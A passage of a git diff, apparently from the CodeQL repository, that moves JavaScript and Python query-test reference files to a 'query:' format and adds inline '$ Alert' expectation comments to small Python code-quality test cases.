b/javascript/ql/test/query-tests/Metrics/FLinesOfCode/FLinesOfCode.qlref @@ -1 +1 @@ -Metrics/FLinesOfCode.ql \ No newline at end of file +query: Metrics/FLinesOfCode.ql diff --git a/javascript/ql/test/query-tests/Summary/LinesOfCode.qlref b/javascript/ql/test/query-tests/Summary/LinesOfCode.qlref index ac8650d6dcc4..d22b10044239 100644 --- a/javascript/ql/test/query-tests/Summary/LinesOfCode.qlref +++ b/javascript/ql/test/query-tests/Summary/LinesOfCode.qlref @@ -1 +1 @@ -Summary/LinesOfCode.ql \ No newline at end of file +query: Summary/LinesOfCode.ql diff --git a/javascript/ql/test/query-tests/Summary/LinesOfUserCode.qlref b/javascript/ql/test/query-tests/Summary/LinesOfUserCode.qlref index 548874fe786a..99a6d1324943 100644 --- a/javascript/ql/test/query-tests/Summary/LinesOfUserCode.qlref +++ b/javascript/ql/test/query-tests/Summary/LinesOfUserCode.qlref @@ -1 +1 @@ -Summary/LinesOfUserCode.ql \ No newline at end of file +query: Summary/LinesOfUserCode.ql diff --git a/javascript/ql/test/query-tests/definitions/definitions.qlref b/javascript/ql/test/query-tests/definitions/definitions.qlref index 7b600c094b54..89fab02d1037 100644 --- a/javascript/ql/test/query-tests/definitions/definitions.qlref +++ b/javascript/ql/test/query-tests/definitions/definitions.qlref @@ -1 +1 @@ -definitions.ql +query: definitions.ql diff --git a/javascript/ql/test/query-tests/filters/ClassifyFiles/ClassifyFiles.qlref b/javascript/ql/test/query-tests/filters/ClassifyFiles/ClassifyFiles.qlref index 638bf4567627..612f5dfb3322 100644 --- a/javascript/ql/test/query-tests/filters/ClassifyFiles/ClassifyFiles.qlref +++ b/javascript/ql/test/query-tests/filters/ClassifyFiles/ClassifyFiles.qlref @@ -1 +1 @@ -filters/ClassifyFiles.ql \ No newline at end of file +query: filters/ClassifyFiles.ql diff --git a/python/ql/test/2/query-tests/Classes/inconsistent-mro/InconsistentMRO.qlref b/python/ql/test/2/query-tests/Classes/inconsistent-mro/InconsistentMRO.qlref index f43176f3d7a8..e2e9a180ab1c 100644 --- a/python/ql/test/2/query-tests/Classes/inconsistent-mro/InconsistentMRO.qlref +++ b/python/ql/test/2/query-tests/Classes/inconsistent-mro/InconsistentMRO.qlref @@ -1 +1,2 @@ -Classes/InconsistentMRO.ql \ No newline at end of file +query: Classes/InconsistentMRO.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Classes/inconsistent-mro/inconsistent_mro.py b/python/ql/test/2/query-tests/Classes/inconsistent-mro/inconsistent_mro.py index 346778648349..a8e76c6bfb11 100644 --- a/python/ql/test/2/query-tests/Classes/inconsistent-mro/inconsistent_mro.py +++ b/python/ql/test/2/query-tests/Classes/inconsistent-mro/inconsistent_mro.py @@ -6,7 +6,7 @@ class X(object): class Y(X): pass -class Z(X, Y): +class Z(X, Y): # $ Alert pass class O: diff --git a/python/ql/test/2/query-tests/Classes/new-style/PropertyInOldStyleClass.qlref b/python/ql/test/2/query-tests/Classes/new-style/PropertyInOldStyleClass.qlref index 297295c006e6..fa1947665113 100644 --- a/python/ql/test/2/query-tests/Classes/new-style/PropertyInOldStyleClass.qlref +++ b/python/ql/test/2/query-tests/Classes/new-style/PropertyInOldStyleClass.qlref @@ -1 +1,2 @@ -Classes/PropertyInOldStyleClass.ql +query: Classes/PropertyInOldStyleClass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Classes/new-style/SlotsInOldStyleClass.qlref b/python/ql/test/2/query-tests/Classes/new-style/SlotsInOldStyleClass.qlref index 62fb3202a16f..688f31402ad0 100644 --- a/python/ql/test/2/query-tests/Classes/new-style/SlotsInOldStyleClass.qlref +++ b/python/ql/test/2/query-tests/Classes/new-style/SlotsInOldStyleClass.qlref @@ -1 +1,2 @@ -Classes/SlotsInOldStyleClass.ql \ No newline at end of file +query: Classes/SlotsInOldStyleClass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Classes/new-style/SuperInOldStyleClass.qlref b/python/ql/test/2/query-tests/Classes/new-style/SuperInOldStyleClass.qlref index 08f737893eff..293fc72d86ca 100644 --- a/python/ql/test/2/query-tests/Classes/new-style/SuperInOldStyleClass.qlref +++ b/python/ql/test/2/query-tests/Classes/new-style/SuperInOldStyleClass.qlref @@ -1 +1,2 @@ -Classes/SuperInOldStyleClass.ql \ No newline at end of file +query: Classes/SuperInOldStyleClass.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Classes/new-style/newstyle_test.py b/python/ql/test/2/query-tests/Classes/new-style/newstyle_test.py index f1e3ea8e42c8..44dce333ef90 100644 --- a/python/ql/test/2/query-tests/Classes/new-style/newstyle_test.py +++ b/python/ql/test/2/query-tests/Classes/new-style/newstyle_test.py @@ -1,7 +1,7 @@ #Only works for Python2 -class OldStyle1: +class OldStyle1: # $ Alert[py/slots-in-old-style-class] __slots__ = [ 'a', 'b' ] @@ -12,7 +12,7 @@ def __init__(self, a, b): class OldStyle2: def __init__(self, x): - super().__init__(x) + super().__init__(x) # $ Alert[py/super-in-old-style] class NewStyle1(object): diff --git a/python/ql/test/2/query-tests/Classes/new-style/property_old_style.py b/python/ql/test/2/query-tests/Classes/new-style/property_old_style.py index 8291feab26c1..0b529d9edb7e 100644 --- a/python/ql/test/2/query-tests/Classes/new-style/property_old_style.py +++ b/python/ql/test/2/query-tests/Classes/new-style/property_old_style.py @@ -5,6 +5,6 @@ class OldStyle: def __init__(self, x): self._x = x - @property + @property # $ Alert[py/property-in-old-style-class] def piosc(self): return self._x \ No newline at end of file diff --git a/python/ql/test/2/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.qlref b/python/ql/test/2/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.qlref index d4986ffc84ce..35f6da7add55 100644 --- a/python/ql/test/2/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.qlref +++ b/python/ql/test/2/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.qlref @@ -1 +1,2 @@ -Classes/MaybeUndefinedClassAttribute.ql +query: Classes/MaybeUndefinedClassAttribute.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.qlref b/python/ql/test/2/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.qlref index 7ac0a3b18b77..f0e8fb722784 100644 --- a/python/ql/test/2/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.qlref +++ b/python/ql/test/2/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.qlref @@ -1 +1,2 @@ -Classes/UndefinedClassAttribute.ql +query: Classes/UndefinedClassAttribute.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Exceptions/general/CatchingBaseException.qlref b/python/ql/test/2/query-tests/Exceptions/general/CatchingBaseException.qlref index 5588dbf2c7b4..33b4697e7ef7 100644 --- a/python/ql/test/2/query-tests/Exceptions/general/CatchingBaseException.qlref +++ b/python/ql/test/2/query-tests/Exceptions/general/CatchingBaseException.qlref @@ -1 +1,2 @@ -Exceptions/CatchingBaseException.ql \ No newline at end of file +query: Exceptions/CatchingBaseException.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Exceptions/general/EmptyExcept.qlref b/python/ql/test/2/query-tests/Exceptions/general/EmptyExcept.qlref index 3f4987046b12..7a046d008cd2 100644 --- a/python/ql/test/2/query-tests/Exceptions/general/EmptyExcept.qlref +++ b/python/ql/test/2/query-tests/Exceptions/general/EmptyExcept.qlref @@ -1 +1,2 @@ -Exceptions/EmptyExcept.ql \ No newline at end of file +query: Exceptions/EmptyExcept.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Exceptions/general/IllegalExceptionHandlerType.qlref b/python/ql/test/2/query-tests/Exceptions/general/IllegalExceptionHandlerType.qlref index 6d49710a7599..7a7911ca4403 100644 --- a/python/ql/test/2/query-tests/Exceptions/general/IllegalExceptionHandlerType.qlref +++ b/python/ql/test/2/query-tests/Exceptions/general/IllegalExceptionHandlerType.qlref @@ -1 +1,2 @@ -Exceptions/IllegalExceptionHandlerType.ql \ No newline at end of file +query: Exceptions/IllegalExceptionHandlerType.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Exceptions/general/IllegalRaise.qlref b/python/ql/test/2/query-tests/Exceptions/general/IllegalRaise.qlref index 5a515d5656d3..2bee772260a9 100644 --- a/python/ql/test/2/query-tests/Exceptions/general/IllegalRaise.qlref +++ b/python/ql/test/2/query-tests/Exceptions/general/IllegalRaise.qlref @@ -1 +1,2 @@ -Exceptions/IllegalRaise.ql \ No newline at end of file +query: Exceptions/IllegalRaise.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Exceptions/general/IncorrectExceptOrder.qlref b/python/ql/test/2/query-tests/Exceptions/general/IncorrectExceptOrder.qlref index bc4c3a070813..f4278558baae 100644 --- a/python/ql/test/2/query-tests/Exceptions/general/IncorrectExceptOrder.qlref +++ b/python/ql/test/2/query-tests/Exceptions/general/IncorrectExceptOrder.qlref @@ -1 +1,2 @@ -Exceptions/IncorrectExceptOrder.ql +query: Exceptions/IncorrectExceptOrder.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Exceptions/general/exceptions_test.py b/python/ql/test/2/query-tests/Exceptions/general/exceptions_test.py index 6e82bc028906..023b490eaaea 100644 --- a/python/ql/test/2/query-tests/Exceptions/general/exceptions_test.py +++ b/python/ql/test/2/query-tests/Exceptions/general/exceptions_test.py @@ -14,4 +14,4 @@ def raise_tuple(cond): raise (Exception, "bananas", 17) else: #This is an error - raise (17, "bananas", Exception) + raise (17, "bananas", Exception) # $ Alert[py/illegal-raise] diff --git a/python/ql/test/2/query-tests/Exceptions/generators/UnguardedNextInGenerator.qlref b/python/ql/test/2/query-tests/Exceptions/generators/UnguardedNextInGenerator.qlref index 7fe5d609705b..f174a4a96f57 100644 --- a/python/ql/test/2/query-tests/Exceptions/generators/UnguardedNextInGenerator.qlref +++ b/python/ql/test/2/query-tests/Exceptions/generators/UnguardedNextInGenerator.qlref @@ -1 +1,2 @@ -Exceptions/UnguardedNextInGenerator.ql \ No newline at end of file +query: Exceptions/UnguardedNextInGenerator.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Exceptions/generators/test.py b/python/ql/test/2/query-tests/Exceptions/generators/test.py index e8b3f0b2b344..0c5ca29f798a 100644 --- a/python/ql/test/2/query-tests/Exceptions/generators/test.py +++ b/python/ql/test/2/query-tests/Exceptions/generators/test.py @@ -2,12 +2,12 @@ def bad1(it): while True: - yield next(it) + yield next(it) # $ Alert def bad2(seq): it = iter(seq) #Not OK as seq may be empty - raise KeyError(next(it)) + raise KeyError(next(it)) # $ Alert yield 0 def ok1(seq): diff --git a/python/ql/test/2/query-tests/Exceptions/raising/RaisingTuple.qlref b/python/ql/test/2/query-tests/Exceptions/raising/RaisingTuple.qlref index 55d1f5e1d4f9..1cefef85d8a5 100644 --- a/python/ql/test/2/query-tests/Exceptions/raising/RaisingTuple.qlref +++ b/python/ql/test/2/query-tests/Exceptions/raising/RaisingTuple.qlref @@ -1 +1,2 @@ -Exceptions/RaisingTuple.ql +query: Exceptions/RaisingTuple.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Exceptions/raising/test.py b/python/ql/test/2/query-tests/Exceptions/raising/test.py index ff991f642e2f..1e5f3cb35fca 100644 --- a/python/ql/test/2/query-tests/Exceptions/raising/test.py +++ b/python/ql/test/2/query-tests/Exceptions/raising/test.py @@ -5,11 +5,11 @@ def ok(): def bad1(): ex = Exception, "message" - raise ex + raise ex # $ Alert def bad2(): - raise (Exception, "message") + raise (Exception, "message") # $ Alert def bad3(): ex = Exception, - raise ex, "message" + raise ex, "message" # $ Alert diff --git a/python/ql/test/2/query-tests/Expressions/TruncatedDivision.qlref b/python/ql/test/2/query-tests/Expressions/TruncatedDivision.qlref index fa2c2cbf006c..17d539c32260 100644 --- a/python/ql/test/2/query-tests/Expressions/TruncatedDivision.qlref +++ b/python/ql/test/2/query-tests/Expressions/TruncatedDivision.qlref @@ -1 +1,2 @@ -Expressions/TruncatedDivision.ql +query: Expressions/TruncatedDivision.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Expressions/TruncatedDivision_test.py b/python/ql/test/2/query-tests/Expressions/TruncatedDivision_test.py index 6f265b824fb7..64ef262edb81 100644 --- a/python/ql/test/2/query-tests/Expressions/TruncatedDivision_test.py +++ b/python/ql/test/2/query-tests/Expressions/TruncatedDivision_test.py @@ -62,14 +62,14 @@ def halve(x): # This case is bad, and is a minimal obvious case that should be bad. It # SHOULD be found by the query. -print(3 / 2) +print(3 / 2) # $ Alert[py/truncated-division] # This case is bad. It uses indirect returns of integers through function calls # to produce the problem. I -print(return_three() / return_two()) +print(return_three() / return_two()) # $ Alert[py/truncated-division] diff --git a/python/ql/test/2/query-tests/Expressions/UseofApply.py b/python/ql/test/2/query-tests/Expressions/UseofApply.py index 9109636f99ec..6c2255012e6c 100644 --- a/python/ql/test/2/query-tests/Expressions/UseofApply.py +++ b/python/ql/test/2/query-tests/Expressions/UseofApply.py @@ -16,7 +16,7 @@ def foo(): # This use of `apply` is a reference to the builtin function and so SHOULD be # caught by the query. - apply(foo, [1]) + apply(foo, [1]) # $ Alert[py/use-of-apply] diff --git a/python/ql/test/2/query-tests/Expressions/UseofApply.qlref b/python/ql/test/2/query-tests/Expressions/UseofApply.qlref index abf684e3918a..4add79acdb3c 100644 --- a/python/ql/test/2/query-tests/Expressions/UseofApply.qlref +++ b/python/ql/test/2/query-tests/Expressions/UseofApply.qlref @@ -1 +1,2 @@ -Expressions/UseofApply.ql +query: Expressions/UseofApply.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Expressions/UseofInput.qlref b/python/ql/test/2/query-tests/Expressions/UseofInput.qlref index 3f9590f48b2c..2684126de5ee 100644 --- a/python/ql/test/2/query-tests/Expressions/UseofInput.qlref +++ b/python/ql/test/2/query-tests/Expressions/UseofInput.qlref @@ -1 +1,2 @@ -Expressions/UseofInput.ql \ No newline at end of file +query: Expressions/UseofInput.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Expressions/expressions_test.py b/python/ql/test/2/query-tests/Expressions/expressions_test.py index c31681e35353..5d6c1b89904f 100644 --- a/python/ql/test/2/query-tests/Expressions/expressions_test.py +++ b/python/ql/test/2/query-tests/Expressions/expressions_test.py @@ -1,9 +1,9 @@ def use_of_apply(func, args): - apply(func, args) + apply(func, args) # $ Alert[py/use-of-apply] def use_of_input(): - return input() # NOT OK + return input() # NOT OK # $ Alert[py/use-of-input] def not_use_of_input(): diff --git a/python/ql/test/2/query-tests/Functions/DeprecatedSliceMethod.qlref b/python/ql/test/2/query-tests/Functions/DeprecatedSliceMethod.qlref index c38b8d1f7619..3043411c1ce4 100644 --- a/python/ql/test/2/query-tests/Functions/DeprecatedSliceMethod.qlref +++ b/python/ql/test/2/query-tests/Functions/DeprecatedSliceMethod.qlref @@ -1 +1,2 @@ -Functions/DeprecatedSliceMethod.ql \ No newline at end of file +query: Functions/DeprecatedSliceMethod.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Imports/encoding_error/EncodingError.qlref b/python/ql/test/2/query-tests/Imports/encoding_error/EncodingError.qlref index a7e91769ded1..bc78d28db329 100644 --- a/python/ql/test/2/query-tests/Imports/encoding_error/EncodingError.qlref +++ b/python/ql/test/2/query-tests/Imports/encoding_error/EncodingError.qlref @@ -1 +1,2 @@ -Imports/EncodingError.ql +query: Imports/EncodingError.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Imports/syntax_error/EncodingError.qlref b/python/ql/test/2/query-tests/Imports/syntax_error/EncodingError.qlref index e742356f8658..bc78d28db329 100644 --- a/python/ql/test/2/query-tests/Imports/syntax_error/EncodingError.qlref +++ b/python/ql/test/2/query-tests/Imports/syntax_error/EncodingError.qlref @@ -1 +1,2 @@ -Imports/EncodingError.ql \ No newline at end of file +query: Imports/EncodingError.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Imports/syntax_error/SyntaxError.qlref b/python/ql/test/2/query-tests/Imports/syntax_error/SyntaxError.qlref index c143a01fe8b3..5d0698be3de5 100644 --- a/python/ql/test/2/query-tests/Imports/syntax_error/SyntaxError.qlref +++ b/python/ql/test/2/query-tests/Imports/syntax_error/SyntaxError.qlref @@ -1 +1,2 @@ -Imports/SyntaxError.ql \ No newline at end of file +query: Imports/SyntaxError.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Imports/syntax_error/bad_encoding.py b/python/ql/test/2/query-tests/Imports/syntax_error/bad_encoding.py index 9c61b1e1b114..5e3308df0f57 100644 --- a/python/ql/test/2/query-tests/Imports/syntax_error/bad_encoding.py +++ b/python/ql/test/2/query-tests/Imports/syntax_error/bad_encoding.py @@ -8,5 +8,5 @@ # encoding:shift-jis def f(): - print "Python ‚ÌŠJ”­‚ÍA1990 ”N‚²‚ë‚©‚çŠJŽn‚³‚ê‚Ä‚¢‚Ü‚·" + print "Python ‚ÌŠJ”­‚ÍA1990 ”N‚²‚ë‚©‚çŠJŽn‚³‚ê‚Ä‚¢‚Ü‚·" # $ Alert[py/encoding-error] """ diff --git a/python/ql/test/2/query-tests/Imports/syntax_error/nonsense.py b/python/ql/test/2/query-tests/Imports/syntax_error/nonsense.py index e413967af412..f5cd27b313b6 100644 --- a/python/ql/test/2/query-tests/Imports/syntax_error/nonsense.py +++ b/python/ql/test/2/query-tests/Imports/syntax_error/nonsense.py @@ -1,4 +1,4 @@ -`Twas brillig, and the slithy toves +`Twas brillig, and the slithy toves # $ Alert[py/syntax-error] Did gyre and gimble in the wabe: All mimsy were the borogoves, And the mome raths outgrabe. diff --git a/python/ql/test/2/query-tests/Lexical/OldOctalLiteral.qlref b/python/ql/test/2/query-tests/Lexical/OldOctalLiteral.qlref index 40040c873d63..e5b4fdfec578 100644 --- a/python/ql/test/2/query-tests/Lexical/OldOctalLiteral.qlref +++ b/python/ql/test/2/query-tests/Lexical/OldOctalLiteral.qlref @@ -1 +1,2 @@ -Lexical/OldOctalLiteral.ql \ No newline at end of file +query: Lexical/OldOctalLiteral.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Lexical/lexical_test.py b/python/ql/test/2/query-tests/Lexical/lexical_test.py index 4b82b17cc65f..412c24683d19 100644 --- a/python/ql/test/2/query-tests/Lexical/lexical_test.py +++ b/python/ql/test/2/query-tests/Lexical/lexical_test.py @@ -1,6 +1,6 @@ #Bad Octal literal -017 +017 # $ Alert #Good Octal literal 0o17 #Special case file permissions diff --git a/python/ql/test/2/query-tests/Statements/ExecUsed.qlref b/python/ql/test/2/query-tests/Statements/ExecUsed.qlref index ccff89d6815f..286996305ed1 100644 --- a/python/ql/test/2/query-tests/Statements/ExecUsed.qlref +++ b/python/ql/test/2/query-tests/Statements/ExecUsed.qlref @@ -1 +1,2 @@ -Statements/ExecUsed.ql \ No newline at end of file +query: Statements/ExecUsed.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Statements/IterableStringOrSequence.qlref b/python/ql/test/2/query-tests/Statements/IterableStringOrSequence.qlref index e8f1ce1b79ef..c24806ccf305 100644 --- a/python/ql/test/2/query-tests/Statements/IterableStringOrSequence.qlref +++ b/python/ql/test/2/query-tests/Statements/IterableStringOrSequence.qlref @@ -1 +1,2 @@ -Statements/IterableStringOrSequence.ql \ No newline at end of file +query: Statements/IterableStringOrSequence.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Statements/TopLevelPrint.qlref b/python/ql/test/2/query-tests/Statements/TopLevelPrint.qlref index 8271065261d0..e91717901f3d 100644 --- a/python/ql/test/2/query-tests/Statements/TopLevelPrint.qlref +++ b/python/ql/test/2/query-tests/Statements/TopLevelPrint.qlref @@ -1 +1,2 @@ -Statements/TopLevelPrint.ql \ No newline at end of file +query: Statements/TopLevelPrint.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Statements/module.py b/python/ql/test/2/query-tests/Statements/module.py index 0b1f4d26546b..af34eedf0dc3 100644 --- a/python/ql/test/2/query-tests/Statements/module.py +++ b/python/ql/test/2/query-tests/Statements/module.py @@ -1,2 +1,2 @@ #Top level prints in modules are bad -print ("Side effect on import") \ No newline at end of file +print ("Side effect on import") # $ Alert[py/print-during-import] \ No newline at end of file diff --git a/python/ql/test/2/query-tests/Statements/statements_test.py b/python/ql/test/2/query-tests/Statements/statements_test.py index e540608964d2..729b1fd7616e 100644 --- a/python/ql/test/2/query-tests/Statements/statements_test.py +++ b/python/ql/test/2/query-tests/Statements/statements_test.py @@ -2,7 +2,7 @@ def exec_used(val): - exec (val) + exec (val) # $ Alert[py/use-of-exec] #Top level print import module @@ -18,7 +18,7 @@ def f(x): s = u"Hello World" else: s = [ u'Hello', u'World'] - for thing in s: + for thing in s: # $ Alert[py/iteration-string-and-sequence] print (thing) import fake_six diff --git a/python/ql/test/2/query-tests/Summary/LinesOfCode.qlref b/python/ql/test/2/query-tests/Summary/LinesOfCode.qlref index b60eb7917224..d22b10044239 100644 --- a/python/ql/test/2/query-tests/Summary/LinesOfCode.qlref +++ b/python/ql/test/2/query-tests/Summary/LinesOfCode.qlref @@ -1 +1 @@ -Summary/LinesOfCode.ql +query: Summary/LinesOfCode.ql diff --git a/python/ql/test/2/query-tests/Summary/LinesOfUserCode.qlref b/python/ql/test/2/query-tests/Summary/LinesOfUserCode.qlref index baaa947e6afa..99a6d1324943 100644 --- a/python/ql/test/2/query-tests/Summary/LinesOfUserCode.qlref +++ b/python/ql/test/2/query-tests/Summary/LinesOfUserCode.qlref @@ -1 +1 @@ -Summary/LinesOfUserCode.ql +query: Summary/LinesOfUserCode.ql diff --git a/python/ql/test/2/query-tests/Variables/LeakyComp/LeakyComp.qlref b/python/ql/test/2/query-tests/Variables/LeakyComp/LeakyComp.qlref index 0f6dd50a2814..6b4ece7f1273 100644 --- a/python/ql/test/2/query-tests/Variables/LeakyComp/LeakyComp.qlref +++ b/python/ql/test/2/query-tests/Variables/LeakyComp/LeakyComp.qlref @@ -1 +1,2 @@ -Variables/LeakingListComprehension.ql \ No newline at end of file +query: Variables/LeakingListComprehension.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Variables/LeakyComp/test.py b/python/ql/test/2/query-tests/Variables/LeakyComp/test.py index 0cd6a0d25202..bbb5d33328f8 100644 --- a/python/ql/test/2/query-tests/Variables/LeakyComp/test.py +++ b/python/ql/test/2/query-tests/Variables/LeakyComp/test.py @@ -2,12 +2,12 @@ def undefined_in_3(): [x for x in range(3)] - print(x) + print(x) # $ Alert def different_in_3(): y = 10 [y for y in range(3)] - print(y) + print(y) # $ Alert def ok(): [z for z in range(4)] diff --git a/python/ql/test/2/query-tests/Variables/undefined/UndefinedExport.py b/python/ql/test/2/query-tests/Variables/undefined/UndefinedExport.py index d7ec86a22560..847d0ce4f8ef 100644 --- a/python/ql/test/2/query-tests/Variables/undefined/UndefinedExport.py +++ b/python/ql/test/2/query-tests/Variables/undefined/UndefinedExport.py @@ -1,6 +1,6 @@ -__all__ = [ "x", "y", "z", "module" ] +__all__ = [ "x", "y", "z", "module" ] # $ Alert[py/undefined-export] x = 1 if 0: diff --git a/python/ql/test/2/query-tests/Variables/undefined/UndefinedExport.qlref b/python/ql/test/2/query-tests/Variables/undefined/UndefinedExport.qlref index 3e5d31e47488..d964148077e5 100644 --- a/python/ql/test/2/query-tests/Variables/undefined/UndefinedExport.qlref +++ b/python/ql/test/2/query-tests/Variables/undefined/UndefinedExport.qlref @@ -1 +1,2 @@ -Variables/UndefinedExport.ql +query: Variables/UndefinedExport.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Variables/undefined/UndefinedGlobal.qlref b/python/ql/test/2/query-tests/Variables/undefined/UndefinedGlobal.qlref index ea9f5a038426..e69631e746b9 100644 --- a/python/ql/test/2/query-tests/Variables/undefined/UndefinedGlobal.qlref +++ b/python/ql/test/2/query-tests/Variables/undefined/UndefinedGlobal.qlref @@ -1 +1,2 @@ -Variables/UndefinedGlobal.ql +query: Variables/UndefinedGlobal.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Variables/undefined/UninitializedLocal.qlref b/python/ql/test/2/query-tests/Variables/undefined/UninitializedLocal.qlref index f2d0e603554a..90233ce61888 100644 --- a/python/ql/test/2/query-tests/Variables/undefined/UninitializedLocal.qlref +++ b/python/ql/test/2/query-tests/Variables/undefined/UninitializedLocal.qlref @@ -1 +1,2 @@ -Variables/UninitializedLocal.ql +query: Variables/UninitializedLocal.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/2/query-tests/Variables/undefined/package/__init__.py b/python/ql/test/2/query-tests/Variables/undefined/package/__init__.py index 85f1f2ac24f4..d0f80d5e8909 100644 --- a/python/ql/test/2/query-tests/Variables/undefined/package/__init__.py +++ b/python/ql/test/2/query-tests/Variables/undefined/package/__init__.py @@ -1 +1 @@ -__all__ = [ "module", "not_exists" ] \ No newline at end of file +__all__ = [ "module", "not_exists" ] # $ Alert[py/undefined-export] \ No newline at end of file diff --git a/python/ql/test/3/query-tests/Classes/equals-attr/DefineEqualsWhenAddingAttributes.qlref b/python/ql/test/3/query-tests/Classes/equals-attr/DefineEqualsWhenAddingAttributes.qlref index e542a6176ad4..f3385f506bf2 100644 --- a/python/ql/test/3/query-tests/Classes/equals-attr/DefineEqualsWhenAddingAttributes.qlref +++ b/python/ql/test/3/query-tests/Classes/equals-attr/DefineEqualsWhenAddingAttributes.qlref @@ -1 +1,2 @@ -Classes/DefineEqualsWhenAddingAttributes.ql \ No newline at end of file +query: Classes/DefineEqualsWhenAddingAttributes.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Classes/equals-attr/test.py b/python/ql/test/3/query-tests/Classes/equals-attr/test.py index 0ab18d0ad434..b6f3e0eb3be3 100644 --- a/python/ql/test/3/query-tests/Classes/equals-attr/test.py +++ b/python/ql/test/3/query-tests/Classes/equals-attr/test.py @@ -9,7 +9,7 @@ class RedefineEquals: def __eq__(self, other): return other is "Tuesday" -class C(RedefineEquals): +class C(RedefineEquals): # $ Alert def __init__(self, args): self.a, self.b = args diff --git a/python/ql/test/3/query-tests/Classes/inconsistent-mro/InconsistentMRO.qlref b/python/ql/test/3/query-tests/Classes/inconsistent-mro/InconsistentMRO.qlref index f43176f3d7a8..e2e9a180ab1c 100644 --- a/python/ql/test/3/query-tests/Classes/inconsistent-mro/InconsistentMRO.qlref +++ b/python/ql/test/3/query-tests/Classes/inconsistent-mro/InconsistentMRO.qlref @@ -1 +1,2 @@ -Classes/InconsistentMRO.ql \ No newline at end of file +query: Classes/InconsistentMRO.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Classes/inconsistent-mro/inconsistent_mro.py b/python/ql/test/3/query-tests/Classes/inconsistent-mro/inconsistent_mro.py index 346778648349..9cb04f1df97c 100644 --- a/python/ql/test/3/query-tests/Classes/inconsistent-mro/inconsistent_mro.py +++ b/python/ql/test/3/query-tests/Classes/inconsistent-mro/inconsistent_mro.py @@ -6,12 +6,12 @@ class X(object): class Y(X): pass -class Z(X, Y): +class Z(X, Y): # $ Alert pass class O: pass #This is OK in Python 2 -class N(object, O): +class N(object, O): # $ Alert pass \ No newline at end of file diff --git a/python/ql/test/3/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.qlref b/python/ql/test/3/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.qlref index d4986ffc84ce..35f6da7add55 100644 --- a/python/ql/test/3/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.qlref +++ b/python/ql/test/3/query-tests/Classes/undefined-attribute/MaybeUndefinedClassAttribute.qlref @@ -1 +1,2 @@ -Classes/MaybeUndefinedClassAttribute.ql +query: Classes/MaybeUndefinedClassAttribute.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.qlref b/python/ql/test/3/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.qlref index 7ac0a3b18b77..f0e8fb722784 100644 --- a/python/ql/test/3/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.qlref +++ b/python/ql/test/3/query-tests/Classes/undefined-attribute/UndefinedClassAttribute.qlref @@ -1 +1,2 @@ -Classes/UndefinedClassAttribute.ql +query: Classes/UndefinedClassAttribute.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/python/ql/test/3/query-tests/Expressions/Arguments/WrongNameForArgumentInCall.qlref b/python/ql/test/3/query-tests/Expressions/Arguments/WrongNameForArgumentInCall.qlref index 3599f204f55e..c6b6ca3d30fa 100644 --- 